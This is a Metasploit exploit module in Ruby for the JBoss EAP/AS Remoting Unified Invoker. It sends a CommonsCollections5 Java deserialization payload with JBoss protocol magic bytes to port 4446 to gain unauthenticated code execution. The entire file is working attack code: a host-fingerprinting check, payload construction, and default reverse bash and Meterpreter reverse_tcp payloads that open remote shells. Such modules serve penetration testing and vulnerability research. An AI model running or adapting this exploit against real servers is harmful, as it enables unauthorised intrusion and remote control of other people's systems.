## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE', 'Description' => %q{ An unauthenticated attacker with network access to the JBOSS EAP/AS <= 6.x Remoting Unified Invoker interface can send a serialized object to the interface to execute code on vulnerable hosts. }, 'Author' => [ 'Joao Matos <@joaomatosf>', # Discovery 'Marcio Almeida <@marcioalm>', # PoC 'Heyder Andrade <@HeyderAndrade>' # msf module ], 'References' => [ [ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf'] ], 'DisclosureDate' => '2019-12-11', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(4446) ]) end def handshake_data # MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER # AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol. # 00 05: STREAM_VERSION. The serialization version. ['aced0005'].pack('H*') end def check connect sock.put(handshake_data) data = sock.get_once(16) disconnect return Exploit::CheckCode::Appears if data == handshake_data return Exploit::CheckCode::Safe rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'") return Exploit::CheckCode::Unknown end # def exploit def execute_command(cmd, _opts = {}) java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd) # MAGIC BYTES JBOSS PROTOCOL: # 0x77: TC_BLOCKDATA # 0x01: Length of TC_BLOCKDATA # 0x16: Protocol version 22 # 0x79: TC_RESET magic_bytes = ['77011679'].pack('H*') payload = magic_bytes + java_payload.byteslice(4..) connect sock.put(handshake_data) sock.get_once(16) sock.put(payload) disconnect print_good('Successfully sent payload') rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e fail_with(Failure::Unreachable, e.message) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end